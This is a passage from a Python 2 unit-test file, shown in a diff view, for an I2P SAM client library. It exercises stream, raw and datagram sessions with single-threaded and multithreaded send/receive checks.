||||
if line == '': break
|
||||
|
||||
s = C.recv(clen, timeout=None)
|
||||
time.sleep(2.0)
|
||||
C.close()
|
||||
return s
|
||||
|
||||
def stream_test1():
|
||||
"""Unit test for samclasses.StreamSession.connect."""
|
||||
|
||||
try:
|
||||
dest = socket.resolve('duck.i2p')
|
||||
S = samclasses.StreamSession('Bob')
|
||||
verify_html(stream_http_get(S, dest))
|
||||
verify_html(stream_http_get(S, dest))
|
||||
verify_html(stream_http_get(S, dest))
|
||||
S.close()
|
||||
|
||||
except:
|
||||
print 'Unit test failed for samclasses.StreamSession'
|
||||
traceback.print_exc(); sys.exit()
|
||||
test_passed('samclasses.StreamSession.connect')
|
||||
|
||||
def stream_test2():
|
||||
"""Unit test for samclasses.StreamSession.accept."""
|
||||
global __server_done, __client_done, __err
|
||||
__server_done = False
|
||||
__client_done = False
|
||||
__err = None
|
||||
|
||||
S = samclasses.StreamSession('Bob')
|
||||
S.listen(10)
|
||||
msg = '<h1>Hello!</h1>'
|
||||
|
||||
def serve():
|
||||
try:
|
||||
# Serve 3 connections, then quit.
|
||||
for i in range(3):
|
||||
C = S.accept() # Get a connection.
|
||||
req = stream_readline(C) # Read HTTP request.
|
||||
|
||||
s = msg # Message to send back
|
||||
|
||||
C.send('HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n' +
|
||||
'Content-Length: ' + str(int(len(s))) + '\r\n\r\n' + s)
|
||||
|
||||
if i % 2 == 0: C.close() # Close connection
|
||||
S.close()
|
||||
except Exception, e:
|
||||
global __err
|
||||
__err = e
|
||||
global __server_done
|
||||
__server_done = True
|
||||
|
||||
thread.start_new_thread(serve, ())
|
||||
# Wait for accept to kick in (should work without).
|
||||
time.sleep(2.0)
|
||||
|
||||
def client():
|
||||
try:
|
||||
S2 = samclasses.StreamSession('Carol')
|
||||
# Get / on server three times.
|
||||
assert stream_http_get(S2, S.dest) == msg
|
||||
assert stream_http_get(S2, S.dest) == msg
|
||||
assert stream_http_get(S2, S.dest) == msg
|
||||
S2.close()
|
||||
except Exception, e:
|
||||
global __err
|
||||
__err = e
|
||||
global __client_done
|
||||
__client_done = True
|
||||
|
||||
thread.start_new_thread(client, ())
|
||||
|
||||
while not (__client_done and __server_done): time.sleep(0.01)
|
||||
|
||||
if __err != None:
|
||||
print 'Unit test failed for samclasses.StreamSession.accept'
|
||||
raise __err
|
||||
test_passed('samclasses.StreamSession.accept')
|
||||
|
||||
def multithread_packet_test(raw=True):
|
||||
"""If raw: Multithreaded unit test for samclasses.RawSession.
|
||||
Not raw: Multithreaded unit test for samclasses.DatagramSession.
|
||||
"""
|
||||
|
||||
try:
|
||||
multithread_wait_time = 200.0
|
||||
may_need_increase = False
|
||||
|
||||
if raw:
|
||||
C = samclasses.RawSession('Carol', in_depth=0, out_depth=0)
|
||||
D = samclasses.RawSession('Dave', in_depth=0, out_depth=0)
|
||||
else:
|
||||
C = samclasses.DatagramSession('Carol',in_depth=0,out_depth=0)
|
||||
D = samclasses.DatagramSession('Dave',in_depth=0,out_depth=0)
|
||||
|
||||
global C_recv, D_recv, C_got, D_got, __lock
|
||||
C_recv = [] # Packets C *should* receive
|
||||
D_recv = [] # Packets D *should* receive
|
||||
C_got = [] # Packets C actually got
|
||||
D_got = [] # Packets D actually got
|
||||
|
||||
n = 50 # Create n threads
|
||||
m = 40 # Each thread sends m packets
|
||||
|
||||
global __done_count
|
||||
__done_count = 0
|
||||
__lock = threading.Lock()
|
||||
|
||||
# Use C and D to send and read in many different threads.
|
||||
def f():
|
||||
# This code is run in each separate thread
|
||||
global C_recv, D_recv, C_got, D_got, __lock, __done_count
|
||||
for i in range(m):
|
||||
# Random binary string of length 2-80.
|
||||
index_list = range(random.randrange(2, 80))
|
||||
s = ''.join([chr(random.randrange(256)) for j in index_list])
|
||||
if random.randrange(2) == 0:
|
||||
# Send packet from C to D, and log it.
|
||||
C.send(s, D.dest)
|
||||
__lock.acquire()
|
||||
D_recv += [s]
|
||||
__lock.release()
|
||||
else:
|
||||
# Send packet from D to C, and log it.
|
||||
D.send(s, C.dest)
|
||||
__lock.acquire()
|
||||
C_recv += [s]
|
||||
__lock.release()
|
||||
time.sleep(0.01*random.uniform(0.0,1.0))
|
||||
# Read any available packets.
|
||||
try: (p, fromaddr) = C.recv(timeout=0.0)
|
||||
except socket.BlockError: p = None
|
||||
if p != None and not raw: assert fromaddr == D.dest
|
||||
|
||||
__lock.acquire()
|
||||
if p != None: C_got += [p]
|
||||
__lock.release()
|
||||
|
||||
try: (p, fromaddr) = D.recv(timeout=0.0)
|
||||
except socket.BlockError: p = None
|
||||
if p != None and not raw: assert fromaddr == C.dest
|
||||
|
||||
__lock.acquire()
|
||||
if p != None: D_got += [p]
|
||||
__lock.release()
|
||||
|
||||
__lock.acquire()
|
||||
__done_count += 1
|
||||
__lock.release()
|
||||
|
||||
# Create n threads.
|
||||
for i in range(n):
|
||||
threading.Thread(target=f).start()
|
||||
|
||||
# Wait for them to finish.
|
||||
while __done_count < n: time.sleep(0.01)
|
||||
|
||||
# Read any left-over received packets.
|
||||
end_time = time.time() + multithread_wait_time
|
||||
while time.time() < end_time:
|
||||
# Read any available packets.
|
||||
try: (p, fromaddr) = C.recv(timeout=0.0)
|
||||
except socket.BlockError: p = None
|
||||
if p != None and not raw: assert fromaddr == D.dest
|
||||
|
||||
if p != None: C_got += [p]
|
||||
|
||||
try: (p, fromaddr) = D.recv(timeout=0.0)
|
||||
except socket.BlockError: p = None
|
||||
if p != None and not raw: assert fromaddr == C.dest
|
||||
|
||||
if p != None: D_got += [p]
|
||||
if len(C_got) == len(C_recv) and len(D_got) == len(D_recv):
|
||||
break
|
||||
|
||||
if time.time() >= end_time:
|
||||
may_need_increase = True
|
||||
|
||||
C_got.sort()
|
||||
D_got.sort()
|
||||
C_recv.sort()
|
||||
D_recv.sort()
|
||||
assert C_got == C_recv
|
||||
assert D_got == D_recv
|
||||
|
||||
C.close()
|
||||
D.close()
|
||||
except:
|
||||
if raw:
|
||||
print 'Unit test failed for samclasses.RawSession ' + \
|
||||
'(multithreaded).'
|
||||
print 'Raw packets are not reliable.'
|
||||
else:
|
||||
print 'Unit test failed for samclasses.DatagramSession ' + \
|
||||
'(multithreaded).'
|
||||
print 'Datagram packets are not reliable.'
|
||||
|
||||
if may_need_increase:
|
||||
print 'Try increasing multithread_wait_time.'
|
||||
|
||||
traceback.print_exc(); sys.exit()
|
||||
if raw:
|
||||
test_passed('samclasses.RawSession (multithreaded)')
|
||||
else:
|
||||
test_passed('samclasses.DatagramSession (multithreaded)')
|
||||
|
||||
|
||||
|
||||
def multithread_stream_test():
|
||||
"""Multithreaded unit test for samclasses.StreamSession."""
|
||||
|
||||
try:
|
||||
multithread_wait_time = 200.0
|
||||
may_need_increase = False
|
||||
|
||||
C = samclasses.StreamSession('Carol', in_depth=0, out_depth=0)
|
||||
D = samclasses.StreamSession('Dave', in_depth=0, out_depth=0)
|
||||
C.listen(10)
|
||||
D.listen(10)
|
||||
|
||||
Cout = C.connect(D.dest)
|
||||
Dout = D.connect(C.dest)
|
||||
Cin = C.accept()
|
||||
Din = D.accept()
|
||||
|
||||
global C_recv, D_recv, C_got, D_got, __lock
|
||||
C_recv = [] # String data C *should* receive
|
||||
D_recv = [] # String data D *should* receive
|
||||
C_got = [] # String data C actually got
|
||||
D_got = [] # String data D actually got
|
||||
|
||||
n = 50 # Create n threads
|
||||
m = 40 # Each thread sends m strings
|
||||
|
||||
global __done_count
|
||||
__done_count = 0
|
||||
__lock = threading.Lock()
|
||||
|
||||
# Use C and D to send and read in many different threads.
|
||||
def f():
|
||||
# This code is run in each separate thread
|
||||
global C_recv, D_recv, C_got, D_got, __lock, __done_count
|
||||
for i in range(m):
|
||||
# Random binary string of length 2-80.
|
||||
index_list = range(random.randrange(2, 80))
|
||||
s = ''.join([chr(random.randrange(256)) for j in index_list])
|
||||
if random.randrange(2) == 0:
|
||||
# Send packet from C to D, and log it.
|
||||
__lock.acquire()
|
||||
Cout.send(s)
|
||||
D_recv += [s]
|
||||
__lock.release()
|
||||
else:
|
||||
# Send packet from D to C, and log it.
|
||||
__lock.acquire()
|
||||
Dout.send(s)
|
||||
C_recv += [s]
|
||||
__lock.release()
|
||||
time.sleep(0.01*random.uniform(0.0,1.0))
|
||||
# Read any available string data, non-blocking.
|
||||
|
||||
__lock.acquire()
|
||||
try: p = Cin.recv(100000, timeout=0.0)
|
||||
except socket.BlockError: p = None
|
||||
if p != None: C_got += [p]
|
||||
__lock.release()
|
||||
|
||||
__lock.acquire()
|
||||
try: p = Din.recv(100000, timeout=0.0)
|
||||
except socket.BlockError: p = None
|
||||
if p != None: D_got += [p]
|
||||
__lock.release()
|
||||
|
||||
__lock.acquire()
|
||||
__done_count += 1
|
||||
__lock.release()
|
||||
|
||||
# Create n threads.
|
||||
for i in range(n):
|
||||
threading.Thread(target=f).start()
|
||||
|
||||
# Wait for them to finish.
|
||||
while __done_count < n: time.sleep(0.01)
|
||||
|
||||
# Read any left-over received string data.
|
||||
end_time = time.time() + multithread_wait_time
|
||||
while time.time() < end_time:
|
||||
# Read any available string data, non-blocking.
|
||||
try: p = Cin.recv(100000, timeout=0.0)
|
||||
except socket.BlockError: p = None
|
||||
if p != None: C_got += [p]
|
||||
|
||||
try: p = Din.recv(100000, timeout=0.0)
|
||||
except socket.BlockError: p = None
|
||||
if p != None: D_got += [p]
|
||||
|
||||
if len(''.join(C_got)) == len(''.join(C_recv)) and \
|
||||
len(''.join(D_got)) == len(''.join(D_recv)):
|
||||
break
|
||||
|
||||
if time.time() >= end_time:
|
||||
may_need_increase = True
|
||||
|
||||
C_got = ''.join(C_got)
|
||||
D_got = ''.join(D_got)
|
||||
C_recv = ''.join(C_recv)
|
||||
D_recv = ''.join(D_recv)
|
||||
assert C_got == C_recv
|
||||
assert D_got == D_recv
|
||||
|
||||
Cin.close()
|
||||
Din.close()
|
||||
Cout.close()
|
||||
Dout.close()
|
||||
C.close()
|
||||
D.close()
|
||||
except:
|
||||
print 'Unit test failed for samclasses.StreamSession ' + \
|
||||
'(multithreaded).'
|
||||
|
||||
if may_need_increase:
|
||||
print 'Try increasing multithread_wait_time.'
|
||||
|
||||
traceback.print_exc(); sys.exit()
|
||||
test_passed('samclasses.StreamSession (multithreaded)')
|
||||
|
||||
|
||||
def test():
|
||||
print 'Tests may take several minutes each.'
|
||||
print 'If the network is unreliable, tests will fail.'
|
||||
print 'A test only needs to pass once to be considered successful.'
|
||||
print
|
||||
print 'Testing:'
|
||||
|
||||
raw_test1()
|
||||
datagram_test1()
|
||||
stream_test1()
|
||||
stream_test2()
|
||||
multithread_packet_test(raw=True)
|
||||
multithread_stream_test()
|
||||
|
||||
# Note: The datagram unit test fails, but it's apparently I2P's
|
||||
# fault (the code is the same as for raw packets, and the SAM
|
||||
# bridge is sent all the relevant data).
|
||||
# Code: multithread_packet_test(raw=False)
|
||||
|
||||
if __name__ == '__main__':
|
||||
test()
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user